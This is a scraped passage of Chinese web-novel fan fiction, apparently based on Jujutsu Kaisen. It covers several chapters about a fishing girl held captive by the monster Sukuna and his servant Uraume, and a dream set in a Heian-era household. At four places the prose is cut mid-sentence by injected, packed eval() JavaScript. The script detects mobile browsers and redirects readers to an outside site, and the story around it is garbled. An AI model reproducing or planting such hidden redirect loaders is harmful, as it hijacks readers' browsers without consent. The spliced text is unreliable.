折腾了许久,夜晚也差不多过去大半。山间浓雾消散,树叶上凝结着雾水,空气里都是潮湿气息。 萤靠在里梅的身旁,脖子上的伤口已经停止了渗血,不过雪白肌肤上留下的青紫实在有些触目惊心。她扒拉着已经燃尽的灰尘,浑身都散发着懒洋洋的气息。 好奇怪,一个眼睛里进了灰尘都会可怜兮兮的人,怎么在这种时候都未曾流露出一丝一毫的脆弱。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“…为什么。” ——是不是吓到她了? 萤从里梅的身上爬起来,她撸起袖子,两条胳膊上密密麻麻都是伤疤,如同蜈蚣交错般令人窒息,可她却毫不在乎,甚至可以称得上骄傲。 压低嗓音,也不知道模仿的哪位武士的白痴话,深沉地说:“伤疤,是荣誉的象征。” “……” “笨蛋。” 里梅握住她的手,发动咒术,那些伤疤一眨眼的功夫就全部被磨平,变成了原来柔嫩苍白的肌肤。 萤还没来得及生气,脑子里突然抓住了一丝漏洞。 拽住里梅的手腕,质问道:“不是说唾液里含有术式吗,为什么现在直接就可以愈合伤口了?” ……该说她是笨蛋,还是要说她聪明呢? 里梅看着那只握住他的手,然后俯身舔了舔萤的胳膊,冰凉触感转瞬即逝。 他抬起头,眼睛里划过一丝笑意,就如同冬雪融化般。 他说:“抱歉,刚刚忘记了。” 14.第 14 章 “把这个做成晚餐。” 怪物大人把还在跳动的渗血心脏和其它一些七零八碎的、散发着热气的器官都扔到了小仆人怀中,看着她瞪大眼睛,下意识想要把怀里的东西扔出去。 大人嗤笑两声,用满是血渍的手掐住了仆人的脸颊,强迫她直视自己的眼睛,饶有趣味地说:“只要少了一点,下一餐就是你,懂吗。” 果不其然,从中看见了熟悉的恐惧目光。手掌在她脸上肆意揉搓,印出道道红印,在苍白肌肤上显得格外触目惊心。她呜咽几声,乖乖点了点头,然后闭上眼不敢再说话。 瞧,果然是个再普通不过的懦弱人类,无趣。 怪物大人松开手,将还呆在原地的小仆人扔到一旁,颇为嫌弃,动作和扔垃圾没什么区别。 “太阳落山前,做不好就吃了你。” “……是,大人。” 她怀里还抱着那些源自同类的内脏,跌坐在树荫下,整个人都在颤抖。 午后蝉鸣不止,这样炎热的艳阳天里,寒意却慢慢渗透至骨髓之中,手脚冰凉,脑子里只回想着一句话—— 「要被怪物吃掉了」 好可怕。 她想要擦去脸上残留的血渍,却越擦越脏,鼻尖可以清楚闻见铁锈般的血腥味。恶心与恐惧感糅合成一团糟糕的东西在胃中打架,毫无意外的,她撑着树干吐了出来。 本来就空荡荡的胃更是难受到痉挛,眼睛中泛出了生理性水雾,朦朦胧胧什么都看不清。 身后有道脚步声,那人从怀中掏出块干净的绢布,一点点擦去她脸上的狼狈不堪。然后在背后轻轻揽住了她,就这样静静的,听着她微弱的哭泣声,泪水滴落在掌心,化为一片雪花。 里梅将这片雪花收藏在怀中,没有任何原因,只是下意识觉得这很重要。 怀里的她没有抗拒这已经称得上过于亲密的举动,被迫离家的小兽总要有些心理寄托,要不然会崩溃到窒息的,对吧?所以请先让她小小哭一会儿,就一小会儿,拜托了。 …… “梅,我不想被吃掉。” 她仰起头,泪水终于止住,眼睛红红的,从对方的怀抱中退了出来,深呼吸几口气,看着里梅,嗓音里带着些颤抖,“我还没用过…这些食材来做饭,梅有没有什么秘籍?” 食材,自然指的是刚刚大人递给她的那些同类器官。 ——大人不会吃掉你。 里梅在心中想着,不知为何,他隐隐能感受到萤对于大人的特殊性。 在视所有事物为蝼蚁的大人眼中,什么都不值得祂停留片刻,唯有对口腹之欲感些兴趣,再者就是与祂相同实力的至高强者。像萤这样可以被归类为普通食材的人类,大人绝不会多施舍一眼。 可偏偏大人看了她很多眼,眼里带着自己都未察觉的探究和兴致。在失去这种目光前,她绝不会死。 至于之后的事情,那便要等到未来再说了。 里梅垂下眸子,牵住她的手,低声说:“好,我教你。” 她露出一个和以往毫无差别的笑容,好像刚刚所有的一切都是假象,只需要这样简单的一句话,就可以让她忘记所有恐惧,全身心信赖着对方。 看着她重新恢复活力,开始嘀嘀咕咕着该去找什么野菜作为配料,皱着眉又陷入了纠结。 ——果然就是笨蛋。 里梅去捡了些木柴,两人一同坐在坩埚前烹饪食材,刺眼阳光被茂密树叶所遮挡,草地上落下了斑驳的碎片光影,随着风摇晃。 她用胳膊撑着下巴,盯着坩埚冒出的点点气泡,啪嗒,气泡炸开,接着又形成了新的气泡。她倒也不觉得无聊,在心中默默数着究竟有多少个气泡。 里梅将切好的配菜放了进去,用以调味。 在这个食物匮乏的时代,人们料理的方式同样十分简单,除去那些贵族外,普通人有的吃就已经很不错了。很少会有人去研究如何让食材变得更美味,那并不在严峻的生存挑战范围内。 里梅最开始也并不擅长这些,慢慢迎合着大人的口味,他把全身心都放在了料理上。虚浮的生命似乎也有了寄托,看着食物在自己的手中融合、汤汁发出的滋啦声响、锅里散发出的香气……很奇妙的感觉。 自己好像主宰了一个小小的世界,所有的一切都在掌控之中。 长久以来,他都把这种隐秘乐趣当成怪胎的独特病症。如今,倒是有两个怪胎凑在一起了。 … “要不要加一点儿芫荽?” 萤不知从哪里揪了一把野菜,样子看起来和寻常杂草差不多,完全没听说过的名字。 她把芫荽怼到里梅的鼻子下晃了晃,那股冲人的味道直冲云霄,很刺鼻。里梅下意识扭过头,抓住对方还在作乱的手,他屏住呼吸,嗓音里难得有几分嫌弃,“不好闻。” “怎么会呢,我觉得它很香,还给它取了个名字叫香菜。” “……臭菜。” “太过分了吧,梅。”萤鼓起脸,“这样说它,它可是会不高兴的。” 说完,她把香菜掰成两半,直接扔到了坩埚里。 坏心眼儿地拿汤勺搅拌均匀,里梅清楚捕捉到她眼中流露出的狡黠,果然是在暗暗报复大人吗。 把乱七八糟的佐料加进去后就需要耐心等待着料理熬制,不时还要添些柴火,火焰烧出的灰尘漂浮在空中,连带着周遭的气温也上升了不少。 热到像是提前进入了酷暑。 最开始,萤还在用揪来的狗尾巴草编东西,她的手指并不算纤细,指关节处有许多渔网磨出的厚茧子,可动作依旧灵巧,那根翠绿的草秆在她手中慢慢变幻着形态,最后成为一只毛绒绒的小兔子。 她握着草秆一端,用小兔子轻轻拂过里梅的耳后,带来微弱的痒意。 当里梅向她看去时又装作若无其事地扣地面土坑,那里已经变得坑坑洼洼,就这样来回拉扯十几次,这只可怜的小兔子被里梅没收了。 萤没有气馁,她又去揪了好多野草,转过身背对着里梅,不知道又在暗搓搓搞什么东西。 火焰还在燃烧着,里梅的眼睛盯着锅里食材,心思却不自觉飞到另一边,刚刚被狗尾巴小兔子划过的地方又传来了撩心般的痒。 没过一会儿, 萤把她的杰作一个个都亮了出来,蚱蜢、蛐蛐、独角仙、 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15864540|175711||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 瓢虫、鲨鱼、青蛙……还有好几个不认识的动物,或许是昆虫,总而言之,看起来颇有气势。 她扒拉着自己的军团,严肃地说:“现在,请梅君束手就擒吧。” 里梅默默把收缴的小兔子放在火焰旁,也冷着脸回应道:“我有兔质。” “——!” “太坏了!!!” 她握起拳头,一副隐忍的模样,对那只可怜的小兔子说:“对不起了兔子君,我会记住你所做出的贡献。” 就在里梅没忍住想要笑出声时,对方一把扑在他身上,趁他愣神的一瞬夺走了兔子君。 萤高高举起胜利的拳头,用惋惜的神情摇了摇头,对身下被压倒的失败者露出了笑容,眼角眉梢都带着藏不住的得意。 “梅,你输了。” 她用指尖抵在他的唇上,骄傲得像是只初次打猎成功的幼兽。 咕噜咕噜, 坩埚里的汤汁沸腾了, 里梅握住这只手,伸舌舔了舔她的指尖,轻声应道:“我输了。” 输得心服口服。 被舌尖舔得痒痒的,萤噗呲一声笑了起来,她熟练埋进了里梅的怀抱中,在夏日里汲取一丝凉意。 或许是因为咒术与冰有关,所以里梅的体温也长年保持着冰凉,萤喜欢抱着这样一块冰,来消解由炎热而来带的燥意。 两人躲在树荫下,环抱在一起,似乎身体的每个器官都黏合成一体,温热呼吸同样交织缠绕着,树桠上的鸟儿叽叽喳喳叫着,她凑到他的耳边,小声说着海边的那些奇幻故事。 “其实现在的旅行也很不错,海边的那些事情我已经听腻了。”萤这样说着,她握紧了里梅的手,很是庆幸珍重的语气,“很幸运呢,能认识梅,能经历这样不同寻常的故事。” 虽然唯一的缺点就是要担心随时被吃掉—— 想到这里,她又下意识贴了贴里梅的脸,遇见危险总要向熟人寻求一丝安全感嘛,很正常。 就是太过黏糊糊,也会引起其它不必要的麻烦。 里梅的神色暗了暗,他没再继续说话,只是发动了咒力,让身上的人贴得更紧了些。 感觉……有点儿困了。 没过一会儿,本来絮絮叨叨讲故事的人睡着了,皱着眉头,似乎做了什么不好的梦。 她梦见怪物大人嫌弃她做得饭不好吃,然后一口一口把她吃掉了,张口想要呼救,却怎么也说不出口,有什么东西进入了口腔之中。 然后一点点剥夺了她的呼吸。 呜,梅,快来救我! …… 夕阳西斜, 萤垂着头,把已经做好的料理递给怪物大人。 她悄悄观察着对方的神情,只要露出一点不对劲就赶紧逃跑。 不过——怪物大人看起来非常满意。 他问里面那股从来没吃过的配料是什么,并要求在以后的料理中都加上这个。 萤向对面站着的里梅眨了眨眼, ——果然,这个就是香菜吧 ——才不是臭菜 ——怪物大人也喜欢吃 他舔了舔唇,没有说话。 15.第 15 章 清晨,露珠积攒在叶片上将落未落。 萤独自坐在视野宽阔的古树上眺望远方,她望着圣岳山,望着很远很远的海浪,整个人蜷缩成小小一团。 离开海边已经差不多半个月了,这段时间以来每天都在不停换着地方,让人有些晕头转向。如果不是夜晚的星空还可以指明方向,恐怕她早要忘记了家的位置。 萤能察觉到,他们在顾忌着什么,没有选择踏出骏河国的界限,始终在这块区域内转悠。 对于这个发现结果,她在心中悄悄松了口气。 ……虽然死了很多很多次,身上还有着那样的诅咒,可真正面对死亡时总会缺少几分勇气。她觉得自己还没有做好准备,离开骏河国,离开这个束缚。 虽然那一天迟早会到来,她也希望这个日期能稍微再晚一点点。 带着湿气的狂风吹过面颊,萤眯起眼睛,把头埋进膝盖中。迟来的困意将她环绕,眼前的一切都变得模糊起来,她终于忍不住了,靠在树干上睡去。 风依旧在吹着, 本来紧握着树干的双手渐渐松开,径直掉了下去。 不过好在没有受伤,但实际上还不如直接摔死呢。 她竟然掉进了那位怪物大人的怀里。 萤不敢抬头,她甚至不敢想象怪物大人此时的神情。 而且……清晨是怪物犯病最为严重的时候,任何一点风吹草动都会让怪物释放本性,不顾一切地摧毁身边所有事物。 她亲眼目睹过那样惨烈的场景,连续做了好几个晚上的噩梦。 梦里的自己被撕成无数碎片,很可怕,真的超级可怕。 于是她选择每天都死皮赖脸地抱着里梅入睡,不但可以降温,还给足了安全感。 … 萤垂着头,用平生最真挚、最老实的语气道歉:“对不起大人,打扰了您的好眠。” 她的声音很低,头也放得很低,一边说着自己也听不懂的敬语,一边想要慢慢把身子撤出来。 只是微微一动,怪物大人的四只胳膊就缠了上来,死死勒住了她,动弹不得。 有那么一瞬间,萤以为这个怪物又研究出了新的酷刑方法来折磨人,她猛地抬起头,想要再讨个商量。 结果发现怪物并没有睁开眼,而是紧紧皱着眉,脸上的黑色纹路慢慢延伸至全身,连带着指甲也在变得尖锐,浑身都散发着危险气息。 身体被桎梏得更加难受,近乎窒息。 趋利避害的动物本能让萤更加想要逃跑,她也不管什么了,推是推不动,不如直接上牙咬。 抓住其中一只胳膊,一口咬了下去。 她有两颗虎牙,平日里在海边也经常啃些硬骨头,牙口非常好。 嘎嘣一声,呸呸呸! 这哪里是人类可以拥有的手臂,硬邦邦得跟个石头差不多。 萤捂着嘴,牙齿好痛啊。 她再次瞥了眼怪物大人,发现这家伙还在睡觉,并且嘴里还在呢喃着什么话语。 ……不会是做噩梦了吧?原来像这样的怪物也会做噩梦吗。 活该。 萤琢磨了一会儿,想要偷听这位怪物大人究竟会有什么样的梦魇。她支起一点身子,凑过去努力辨别出对方的话语。 “杀了你们……哈哈……都去死吧……” 这真的是噩梦吗,感觉怪物在梦里倒是杀爽了,可为什么它看起来这么难受?杀人的怪物也会因为自己的残暴和非人性而感到痛苦吗?可即便是这样,怪物也依旧是怪物。 因为被当成怪物,而后也“如愿以偿”成了真正的怪物。 萤这样想着,但她没有多余的同情心,也不会对一个想要吃掉自己的怪物产生什么情感。 如果有什么方法可以在这里杀掉它就好了,萤用指尖碰触到对方的胸膛,想象着用世界上最锋利的刀捅进心脏,鲜血会如同浪花击碎礁石般四溅迸出,然后一击致命。 就像是她所杀过的那些鱼,死得干脆,不留下任何烦恼。 可惜这个想法的成功率不高。 这家伙是怪物,里梅是怪物的仆人。仆人尚且有可以治愈身体一切伤口的能力,那就更别提主人了。 萤舔了舔略有些干涩的唇, 真难办啊, 再耐心等等吧,等待着他们也心甘情愿成为被宰杀的鱼。 她只是个普通的渔女,住在海边木屋里,每天接触最多的就是鱼,与同类交往时会代入些奇怪的想法和观点并不过分吧,一点都不过分。 唔,不过现在最主要的任务还是要从怪物的四只胳膊中逃生才对,里梅最近几日都很忙,只有晚上才会回来陪她一起睡觉,现在只能靠自己逃脱了。 于是,萤想了想。 ......却什么都没想出来。 发泄般又咬了一口怪物的手臂,虽然还是咬不动,就当是磨牙了。 满脸苦大仇深的渔女小姐被怪物大人像是个玩偶般抱在怀里,动弹不得,她又呸呸几口,努力扒拉出自己的上半身,然后附在怪物的耳边。 深呼吸两口气,她直接喊道:“两面宿傩!!!” 事实上萤在第一天就知道了怪物的名字,但是那个名字听起来实在拗口难懂,总是让人联想到恐怖大妖怪,她懒得记,同样也不敢说,而且...怪物就是怪物,不该有名字。 直到现在,被逼无奈的她总算说出了怪物的本名。 在这个世界,名字总是被赋有独特的意义。 是束缚、是诅咒、是羁绊、是命运,非必要时刻请不要记住另一个人的名字。 萤在怪物大人的耳边一直低声念叨着:快醒醒吧,两面大人,宿傩大人,两面宿傩大人、怪物哦不、两面大人—— 经过她契而不舍的念经式唠叨,怪物大人的眉头愈发紧蹙,依旧没有从梦中醒来,最后直接分出一只胳膊死死捂住了她的嘴。 “唔唔!” 完蛋了,这下彻底是没有办法了。奇怪,平日里就连叶片掉落在地都觉得吵闹的怪物,怎么会睡得如此之深,是不是中了那所谓的咒术? 萤再次张嘴狠狠咬了一口糊在脸上的那只手,结果可想而知,没咬动。她选择闭上眼,再去努力想想别的法子。 想着想着,她睡着了。 遇事不决,就先好好睡一觉吧,反正总会有办法的,大不了就去死好了,想法十分简单粗暴。 就这样,怪物大人和小仆人都被拽入了梦境之中。 嘘,别打搅了好眠。 ...... 萤闭着眼,本来昏暗一片的世界忽然变成了光怪陆离的梦,她低下头,发现自己缩水了,变成十二三岁的稚童摸样,身上穿着杂役的粗布衣裳,在袖口处绣有曼珠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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好有趣的梦,她没忍住笑出声来,并由衷希望这个梦还能再长一点, 直到她把小野狗变成宠物来养再说。 想到这里,萤眯起了眼睛,哼着歌把另外一桶泔水也倒进食槽,招呼着还在打瞌睡的猪们快点儿吃饭。 没有猪搭理她,同样,那个小野狗也闭上眼睛没再看她。 萤把已经清空的泔水桶挑回了小厨房,并主动拦下给猪送食的活儿。 见她乖乖踩着板凳切菜,帮忙挑水、烧火,本来对她空降身份颇有微词的其余仆人也不好再多说什么,都觉得这孩子虽然看起来笨,但人情世故还是懂一点的。 忙过这一阵子,等主家用完餐后他们这群仆人才可以用饭。 萤捧着碗筷蹲坐在石阶上吃饭,这里处处都刻有曼珠沙华的图案,她不识字,也不知道所谓的家族,只好向身旁一个差不多大的孩子打听。 这里究竟是哪,还有所谓的主家又是什么? 面前的孩子有些困惑,但还是认真解答了她的问题。 “这里是平安京呀,主家是产屋敷家族,你怎么什么都不知道呀?” 萤点点头,都是没听说过的名字,她还是继续吃饭吧。 ——这个梦真是越来越奇怪了。 16.第 16 章 “说起来,还不知道你的名字呢。” 日暮里,炉中柴火烧得正盛,上面温着些食物,以防哪位主人半夜饿了肚子没有吃食。 夜间值班最为熬人,于是这个活儿自然而然就落在了两个新人身上,也就是萤和那个跟她差不多大的男孩儿。 一直盯着炉子倒也挺无聊,伴着屋外蝉鸣更是增添几分困倦。男孩儿打了好几个哈切,同时也有意无意瞥了身旁的人好几眼,发现对方似乎一点儿都不困,盯着不停翻涌的火焰发呆。 赤红的火苗将侧脸也变为了某种暖色调。 纠结一会儿,他主动打破沉默,开口询问对方的名字。 对方扭过头,黑白分明的眸子里倒映出他的模样,似乎是在细细打量着他,然后慢吞吞露出一个笑,声音很轻:“萤,你呢?” “晴,我叫晴。” 他立刻回道。 两个小家伙互通了姓名,对话再次陷入停滞,只听得柴火燃烧的噼里啪啦声。 晴这下是真的不知道该说些什么了,低着头,很是局促地摆弄手指。 他本是山民的孩子,生母不详,父亲病故,最后跟随好心的村民一同来国都平安京谋生,因着做事利落、样貌机灵,这才被产屋敷家族选中当了仆从。不过由于身世缘故,还有自身的一系列怪异行为,从小到大都没有同龄人愿意和他玩,到这里后更是只能通过自言自语来消解孤单情绪。 天知道当他看见一个和自己差不多大的孩子来厨房帮忙时有多么激动。 晴迫不及待想要分享他所知道的一切,又担心对方会嫌他烦,脸憋得通红,像是被火烤了一样。 但很可惜,萤并没有继续回话。 直到月亮渐渐隐去,夜空中的星星也消失不见,一切黑暗都过去,新的一天即将开始时,萤伸了个懒腰,她望着窗外,若有所思地说:“你的名字就像是现在,听起来很美。” 本来昏昏沉沉的晴打了个激灵,他指了指自己,又指向窗外,很是不可思议。 没等晴说话,对方的脸突然放大,凑到他面前盯着他瞧, 他听见萤的呼吸,还有长长的睫毛,以及略带些疑问的话语:“他们说,你能看见妖怪?” 他们,指的是仆从们的饭后杂谈,萤虽然没有资格加入闲谈不过也可以偷听偷听。他们私下里说着哪位大人的怪癖,说着一直卧病在床的少君,说着猪圈里的怪物,还说着举止怪异、疑似可以看见妖怪的晴......简直就是最佳情报网。 经过几天的暗中观察,萤觉得这位名叫晴的男孩确实有些不同寻常之处。 他的瞳孔是金色竖瞳,在阳光照耀下显出几分神性,而且经常会对着空气自言自语,好像在和某些东西对话。身上时不时会出现淤青和伤口,举止谈吐都并非普通人所有。 反正不管怎么看,都很不一样呢。 晴瞬间瞪大双眼,下意识想要反驳这句话。 ——不,没有 ——我不是怪胎 ——我只是想要一个朋友 ... ——求求千万别对我露出那种厌恶的眼神 他在心中想了无数种回答,最后只能无力地低下头,长久以来的否定依旧没让他学会撒谎,不去反驳也不去肯定。 就当他以为会得到对方如同躲避瘟神一般的动作时,手里被塞了一块酸萝卜,他有些茫然地抬头看向对方。 只见萤撑着下巴,好奇地问:“好厉害,妖怪都是什么样子的?你会不会有很多妖怪朋友?妖怪和妖怪之间都是怎么相处的,它们也会有兄弟姐妹吗——” 一连串问了好多好多问题,有些听起来很笨,有些听起来十分匪夷所思,不过从未接触过如此善意对待的晴并没有觉得有什么不对。 他一点点耐心解答萤的问题,看着对方认真且充满兴趣的眼神简直感动到想要哭,事实上他也确实哭了出来。 眼泪顺着脸颊滑落,在灰扑扑的小脸上画开一条又一条白痕,看起来有点儿好笑。 “是我的问题太多了吗?” 萤伸出手帕擦了擦他的脸,但没擦干净,反而弄得更脏了。唔,还是算了吧。 晴用力摇头,他一边哭着一边还在不停絮絮叨叨自己所知道的所有妖怪事迹,还不忘用双手比划,十分生动形象。而萤则是静静倾听着他的故事,时不时继续问些奇怪的问题,接着两个人就成为了形影不离的好朋友。 小孩子的友谊永远都是这么简单直接。 有了人生中第一个朋友的晴在工作上也显现出十足的热情,让其余仆从都有些摸不着头脑,不过也懒得去管一位怪咖的举动。 每日闲暇时刻,晴都会跟在好朋友的身后,大部分时候他都在说着那些妖怪的故事,简直是要把前半生没说完的话补回来,完全停不下来。 好在萤并没有露出半点不耐烦,她总是很有耐心地听着,作为回报,也会讲讲海边的那些故事。 晴对于大海颇为好奇,这时候的他也会问些笨蛋的问题,例如:大海的鲨鱼会不会上岸吃人?海浪会有多高?海边是不是每天都可以有肉吃? 两个孩童躲在树荫下互相讲述着他们单薄贫瘠又不算普通的人生故事,树杈上的鸟儿叽叽喳喳。 萤说:“我想把这些故事都写成一本书。” 晴点点头,又想到了什么,问道:“可萤你不是不识字吗?” “...是哦。”萤皱起脸,“认字难吗?” 晴虽然是个山民,但父亲在世时教会了他很多字,加上他本就天资聪颖学得快也记得牢,于是晴自告奋勇,要当萤的老师。 他捡了根树枝,在地上写出几个字, “这个是——萤,这个是——晴,是我们的名字。” 萤努力辨认了一会儿,然后点点头。 下一秒,字被沙子覆盖,晴把树杈递给萤,让她自己写出那几个字。 萤:......糟糕,完全不记得了。 沉默一会儿,她拍了拍晴的肩膀,用此生最为珍重的语气说:“晴君,我可以把这个愿望托付给你吗?因为我们是最好的朋友。” 最好的朋友——最好的——朋友! 被这句话狠狠砸中的晴毫不犹豫地答应了下来,并在心中暗暗发誓:他一定要写出这世界上最好的故事书,以此来纪念他和萤的友谊。 身后已经浮现出熊熊烈火,莫名其妙就燃了起来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15881730|175711||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 而萤呢,正悄悄把刚刚写的那几个蜘蛛爬的诡异符号擦去,她松了口气,学习什么的太难了,还是老老实实做饭吧。 虽然把梦想托付给梦里的人是件很奇怪的事,嘛嘛,反正她也不是什么靠谱的人,就这样决定好了。 正午时分, 短暂的午休时间结束,萤继续被派去喂猪食顺带打扫猪圈,而晴则是恋恋不舍地回厨房打扫卫生。 两个发育不良的小孩子各有各的苦要吃。 不过相比较而言,还是猪圈比较麻烦,因为那里还存在一只非人怪物。 晴也远远看过那个怪物一眼,但是没有看见过正脸,那里被黑雾缠绕,像是从地狱而来的世间最为邪恶的存在。直觉告诉他,远离这个怪物,越远越好。 他很担心萤的安全,并锲而不舍地想要劝萤和他交换。 萤拍拍身上的灰,挑起泔水桶压在他的身上,只见他歪歪扭扭走了两步,然后一头栽进旁边的杂草丛中。 “这种粗活还是交给我吧。”萤勾起唇角,把晴从草堆里拽了出来。 晴控诉地看着她,坏心眼儿的萤,总喜欢做些小小恶作剧。 “好啦好啦,晚上见。” “晚上见。” 一直到看不见萤的背影后晴才转身去了厨房。 ...... 萤已经在这个梦里待了快一周,她有时甚至会忘记这是个梦,连带着现实的一切也变得模糊起来。就好像她本就该在这里生活一般。 古怪,非常古怪。 除去被当成怪物的两面宿傩,还有可以看见妖怪的晴,和充满谜团的产屋敷家族——一切的一切都有些超过大脑运行标准。 所以她选择去想想今天究竟可以偷吃点儿什么。 把两桶泔水倒进食槽,几头猪慢慢从地上爬了起来,开始进食。而被锁链拴住的小怪物没动,像死尸一样躺在地上,萤纠结了一会儿,从口袋里掏出珍藏的半个萝卜丢了过去。 精准命中小怪物的脑袋。 噌的一下, 那四只眼睛看向了她, 萤只感觉脊背发凉,她蒙住自己的双眼装作不害怕,但有些哆嗦的嗓音暴露了她,颤颤巍巍地说:“萝卜,可以吃的。” 这一周,她每天都会先丢过去一个吃的试探试探。 没过一会儿,听见咔擦咔擦的清脆声响, 她微微张开一点指缝,从中看了过去,然后再次被恐怖眼神威慑。 下意识蹲下身藏在石墙后面,还被猪拱了拱。 忍一时越想越气,萤打算等下打扫猪圈的时候不打扫小怪物的地方了,让它独自臭着。 ... 萝卜吃完了,小怪物再次闭上眼。 一桶水泼在它身旁,又听见了烦人的声音: “喂,我只是来清理猪圈,你不要把我吃掉。” “我刚刚还给了你萝卜。” “不能那什么...恩将仇报?” 吵死了—— 它扭过头,脖子上的锁链发出叮铃声响,然后这胆小的人类飞快躲在了猪的屁股后面,小心翼翼探出脑袋来观察它。 啧,无聊。 17.第 17 章 下雨了, 雨滴从屋檐上落下,溅起尘埃, 万事万物都沉浸在这样一场雨中,显现出了十足的宁静。 萤独自坐在石阶上发呆,她本来在努力回想着梦境之外的记忆,可无论怎么回忆也只有零星几个模糊片段。唯一浮现脑海中的是一片蓝色,蓝色海洋。 浪花不停翻涌着,海风呼啸而过。 海边似乎还有一间小小木屋,看起来很温馨。 有人在她身旁坐下,也学着她的模样用双手撑着下巴,观雨发呆。 事实上这件事还是蛮无聊的,可只要加上“和最好朋友一起”的标签,就会变得非常不一样。 听听看——和最好的朋友一起听着雨声发呆,多么浪漫且美好的事情。 晴没忍住笑了起来,他侧过脸,悄悄观察着好朋友此时的模样—— 带着湿气的黑色长发,近乎苍白的肌肤,还有因发育不良而凹陷的瘦弱脸颊,微微皱着眉头,明亮黑眸一眨不眨,好像在思索什么世界难题。身上的破旧衣裳过于肥大,更是衬得她整个人小小一只。 如果打扰了好朋友的沉思时刻,并询问对方刚刚在想什么的话...一般会得到诸如:今天中午该吃什么、晚上该吃什么、明天吃什么、好饿怎么还没吃饭、想偷一只猪崽子自己养等回答。 每一个都很有趣。 即便心中已经知道了答案,但晴还是没忍住戳了戳萤,那双眸子重新聚焦,扭过头,清澈倒映着他的模样,于是他问:“萤刚刚在想些什么呢?” 萤将食指放在唇边,指着一个方向示意他认真听。 断断续续的琴声打破了这世界仅有雨滴坠落的乐章,琴声中夹杂着近乎实质化的死寂与悲哀,颤巍巍,如同满院已然枯败腐烂的繁花,蛆虫从土壤中诞生,然后再次死去,就这样循环往复,鼻尖也能嗅到那股源自灵魂深处的恶臭。 这是晴的想法,并下意识皱了皱眉,他不喜欢这个琴声,非常不喜欢。 不用想也知道,这是产屋敷家族的那位月彦少爷所弹奏的和琴,就是那位传言中出生时即无心跳也无脉搏的鬼胎,只能通过昂贵药材来维系基本生命体征,终日不见阳光。 晴在未了解情况时也对这位少爷产生过类似于同情的情绪,而后得知月彦少爷在心情不佳时直接处死了一批仆从,并要求把尸首剁碎扔去喂牲畜。 血腥味萦绕在整个宅院的上方,久久不散。 他在半夜失眠时看见了介于妖怪和人之间的恐怖存在——咒灵。 想到那个场景,晴打了个哆嗦,那是一大团粘稠阴暗的诡异物质形成了血肉模糊的人形,硕大眼球死死盯着一个方位,然后踏入了产屋敷家族的禁区:月彦少爷的院子。 可惜在这家伙踏进院子的一瞬,就被某种物质缠住,最后嘶吼着灰飞烟灭。尖锐刺耳的叫声让他完全睡不着了,只要闭眼就会再次浮现那个东西的影子,缠着他不放。 愣神间耳边传来了另一道乐声。 很清脆,如风过耳般拂过脸颊。 是萤揪了从树上揪了一片香樟叶,缓缓用叶子吹奏出与琴声相似的谱调,不过听起来毫无衰败物哀之感,如同辽阔的田野,风吹麦浪而过,一个祥和平静的午后。 琴声慢慢停了,雨势也渐渐小了不少, 晴一眨不眨地盯着他最好的朋友看,想要从对方身上盯出一个洞来,直到萤把叶片放下,他拽着萤的衣袖不松手,浅金色瞳孔亮晶晶的,充满激动地问:“我也想学这个,萤可以教我吗?” 萤想了想,说:“把手伸出来看看。” 以为学习吹叶子需要什么特殊天赋的晴乖乖伸出手,任由萤仔细摸过他的每一根指节以及掌纹,眉头皱得紧紧的。 晴没忍住缩了缩手,实在有些痒,瞧着萤这幅凝重的模样以为自己学不了,不由地问道:“怎么了?如果不可以就算了……” 他还没来得及说完,萤噗呲一下笑了出来。 摇摇头,“没有啊,我在通过手相来看你的命运。” “那——看出什么来了吗?” “唔。”萤故意拉长音,迎着他期待的眼神缓缓说道:“没有,但我知道你的手指很灵活,肯定可以学会吹叶子的。” “……萤!” 又被骗了! 他鼓起脸,也抓住了萤的手,低头一点点认真摩挲。这只手很小,骨节分明,上面有着许多不属于这个年纪的伤疤与厚茧。 手心掌纹也很奇特,中间一条线贯通,似乎是被称为断掌的存在。他一时间看入神了,脑海里出现许多一闪而过的画面。 【妖怪、咒灵、诅咒、大海、死亡——】 恍惚间好像碰触到了金色的命运之线,可也只一瞬就再也消失不见。 萤凑到他耳边,轻声问:“你能看出什么吗?” 气流吹过耳朵,让他没忍住打了个激灵,这才意识到自己的举动似乎过于亲密,慌慌张张松开手,红着脸没吭声。 萤从树上选了一片还不错的香樟叶塞到他的手中,笑得像是只恶作剧得逞的小狐狸。 “呐,第一课,我们来学习如何挑选合适的叶子。” “……嗯。” 